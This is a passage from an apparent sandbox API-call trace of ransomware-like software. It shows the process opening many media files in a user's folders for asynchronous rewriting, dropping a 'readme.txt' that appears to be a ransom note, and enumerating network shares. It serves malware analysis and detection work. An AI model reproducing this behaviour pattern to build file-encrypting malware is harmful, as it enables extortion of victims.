"c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\vyk4a7cn3j vpzp\\aii-h4hzn5ce.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x514 [0111.625] CreateIoCompletionPort (FileHandle=0x514, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.625] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x550d2e8) returned 1 [0111.625] PathFindExtensionW (pszPath="9gss2nrpiyc4-g.jpg") returned=".jpg" [0111.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\9gss2NRpiyC4-G.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\9gss2nrpiyc4-g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x518 [0111.627] CreateIoCompletionPort (FileHandle=0x518, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.627] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x551f460) returned 1 [0111.627] PathFindExtensionW (pszPath="bpcagxkc.bmp") returned=".bmp" [0111.627] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\BPCAGXkC.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\bpcagxkc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x51c [0111.628] CreateIoCompletionPort (FileHandle=0x51c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.628] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5528998) returned 1 [0111.629] PathFindExtensionW (pszPath="pm_mm5qbjmirl.gif") returned=".gif" [0111.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\pM_MM5qbJmirL.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\pm_mm5qbjmirl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x520 [0111.630] CreateIoCompletionPort (FileHandle=0x520, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.630] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5534ae0) returned 1 [0111.631] PathFindExtensionW (pszPath="55q51_2mfoeyojiu_8bh.jpg") returned=".jpg" [0111.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\55Q51_2mFoEYojiU_8BH.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\55q51_2mfoeyojiu_8bh.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x524 [0111.633] CreateIoCompletionPort (FileHandle=0x524, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.633] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5544580) returned 1 [0111.633] PathFindExtensionW (pszPath="ajwprqdza.gif") returned=".gif" [0111.634] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\aJWpRqDZA.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\ajwprqdza.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x528 [0111.635] CreateIoCompletionPort (FileHandle=0x528, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.635] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x555af78) returned 1 [0111.635] PathFindExtensionW (pszPath="ia7jv0e2t8oe4.gif") returned=".gif" [0111.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\IA7JV0e2T8Oe4.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\ia7jv0e2t8oe4.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x52c [0111.637] CreateIoCompletionPort (FileHandle=0x52c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.637] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5570758) returned 1 [0111.637] PathFindExtensionW (pszPath="oxixe d2sg2u3vtmv4.jpg") returned=".jpg" [0111.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\oxIXE d2SG2U3vtmV4.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\oxixe d2sg2u3vtmv4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x530 [0111.639] CreateIoCompletionPort (FileHandle=0x530, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.639] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x557f3d8) returned 1 [0111.639] PathFindExtensionW (pszPath="wwv.gif") returned=".gif" [0111.639] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\Wwv.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\wwv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x534 [0111.640] CreateIoCompletionPort (FileHandle=0x534, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.640] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55894b0) returned 1 [0111.640] PathFindExtensionW (pszPath="2ffsiyfa.avi") returned=".avi" [0111.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\2ffSIYfA.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\2ffsiyfa.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x538 [0111.642] CreateIoCompletionPort (FileHandle=0x538, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.642] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x558eb30) returned 1 [0111.642] PathFindExtensionW (pszPath="9 xl7vdkgy6-wg.flv") returned=".flv" [0111.644] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\9 Xl7VDkgY6-wg.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\9 xl7vdkgy6-wg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x53c [0111.645] CreateIoCompletionPort (FileHandle=0x53c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.645] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x559b6a8) returned 1 [0111.645] PathFindExtensionW (pszPath="9hm9eikkhqdc.avi") returned=".avi" [0111.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\9HM9EiKKHQDc.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\9hm9eikkhqdc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x540 [0111.646] CreateIoCompletionPort (FileHandle=0x540, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.646] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55ae110) returned 1 [0111.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0111.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a8210) returned 1 [0111.647] WriteFile (in: hFile=0x544, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.648] CloseHandle (hObject=0x544) returned 1 [0111.648] PathFindExtensionW (pszPath="hpvydpqakkj.flv") returned=".flv" [0111.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\HpvyDPQAkKJ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\hpvydpqakkj.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x544 [0111.650] CreateIoCompletionPort (FileHandle=0x544, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.650] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4531048) returned 1 [0111.650] PathFindExtensionW (pszPath="judbn30 9f_rongqes.mkv") returned=".mkv" [0111.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\JuDbn30 9F_roNgQes.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\judbn30 9f_rongqes.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x548 [0111.652] CreateIoCompletionPort (FileHandle=0x548, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.652] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55b29d0) returned 1 [0111.652] PathFindExtensionW (pszPath="mjt-a5ds0gaszdwa.mp4") returned=".mp4" [0111.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\mJT-A5Ds0gaSzDwA.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\mjt-a5ds0gaszdwa.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x54c [0111.654] CreateIoCompletionPort (FileHandle=0x54c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.654] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55b8450) returned 1 [0111.654] PathFindExtensionW (pszPath="mn2frxha5kmsn.avi") returned=".avi" [0111.655] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\MN2fRXhA5KMSN.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\mn2frxha5kmsn.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x550 [0111.657] CreateIoCompletionPort (FileHandle=0x550, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.657] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55bbf58) returned 1 [0111.657] PathFindExtensionW (pszPath="o_uhinhdbbltggs6jr3.mp4") returned=".mp4" [0111.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\O_UhiNhDbBLtgGs6Jr3.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\o_uhinhdbbltggs6jr3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x554 [0111.659] CreateIoCompletionPort (FileHandle=0x554, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.659] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55d3258) returned 1 [0111.659] PathFindExtensionW (pszPath="wd5g.mp4") returned=".mp4" [0111.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\WD5g.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\wd5g.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x558 [0111.661] CreateIoCompletionPort (FileHandle=0x558, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.661] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55df688) returned 1 [0111.661] PathFindExtensionW (pszPath="fzrbyt6npdqwo5q5tkiw.swf") returned=".swf" [0111.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\fzrBYt6NpDQwO5Q5TkIW.swf" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\fzrbyt6npdqwo5q5tkiw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x55c [0111.663] CreateIoCompletionPort (FileHandle=0x55c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.663] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x55ee8b0) returned 1 [0111.663] PathFindExtensionW (pszPath="ga9bro p.avi") returned=".avi" [0111.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\gA9Bro P.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\ga9bro p.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x560 [0111.665] CreateIoCompletionPort (FileHandle=0x560, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.665] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x56013e8) returned 1 [0111.666] PathFindExtensionW (pszPath="m7onrbjg b x3hx1ry8.avi") returned=".avi" [0111.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\M7OnrBjG B X3hx1RY8.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\m7onrbjg b x3hx1ry8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x564 [0111.667] CreateIoCompletionPort (FileHandle=0x564, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.667] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x56126c0) returned 1 [0111.667] PathFindExtensionW (pszPath="mtpnwaxwt4zcco-8n.mp4") returned=".mp4" [0111.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\MtPnwAXwt4ZCco-8N.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\mtpnwaxwt4zcco-8n.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x568 [0111.669] CreateIoCompletionPort (FileHandle=0x568, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.669] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5614388) returned 1 [0111.669] PathFindExtensionW (pszPath="qkkwb.mkv") returned=".mkv" [0111.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\qKKWB.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\qkkwb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x56c [0111.672] CreateIoCompletionPort (FileHandle=0x56c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.672] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x56176d8) returned 1 [0111.672] PathFindExtensionW (pszPath="_hmhs0.mp4") returned=".mp4" [0111.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\_HmHS0.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\_hmhs0.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x570 [0111.674] CreateIoCompletionPort (FileHandle=0x570, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.674] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x562b700) returned 1 [0111.675] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x18fe80 | out: lphEnum=0x18fe80*=0x72d330) returned 0x0 [0111.676] WNetEnumResourceW (in: hEnum=0x72d330, lpcCount=0x18fe84, lpBuffer=0x206b7a8, lpBufferSize=0x18fe7c | out: lpcCount=0x18fe84, lpBuffer=0x206b7a8, lpBufferSize=0x18fe7c) returned 0x0 [0111.676] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x206b7a8, lphEnum=0x18fe54 | out: lphEnum=0x18fe54*=0x71fa48) returned 0x0 [0115.537] WNetEnumResourceW (in: hEnum=0x71fa48, lpcCount=0x18fe58, lpBuffer=0x20722d0, lpBufferSize=0x18fe50 | out: lpcCount=0x18fe58, lpBuffer=0x20722d0, lpBufferSize=0x18fe50) returned 0x103 [0115.537] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20722d0) returned 1 [0115.537] WNetCloseEnum (hEnum=0x71fa48) returned 0x0 [0115.537] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x206b7c8, lphEnum=0x18fe54 | out: lphEnum=0x18fe54*=0x71fa48) returned 0x4b8 [0128.248] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x206b7e8, lphEnum=0x18fe54 | out: lphEnum=0x18fe54*=0x71fa48) returned 0x4c6 [0128.279] WNetEnumResourceW (in: hEnum=0x72d330, lpcCount=0x18fe84, lpBuffer=0x206b7a8, lpBufferSize=0x18fe7c | out: lpcCount=0x18fe84, lpBuffer=0x206b7a8, lpBufferSize=0x18fe7c) returned 0x103 [0128.281] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x206b7a8) returned 1 [0128.281] WNetCloseEnum (hEnum=0x72d330) returned 0x0 [0128.283] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.283] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.283] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.283] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.283] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.283] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.283] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.283] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.283] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.284] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.284] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.284] PostQueuedCompletionStatus (CompletionPort=0x220, 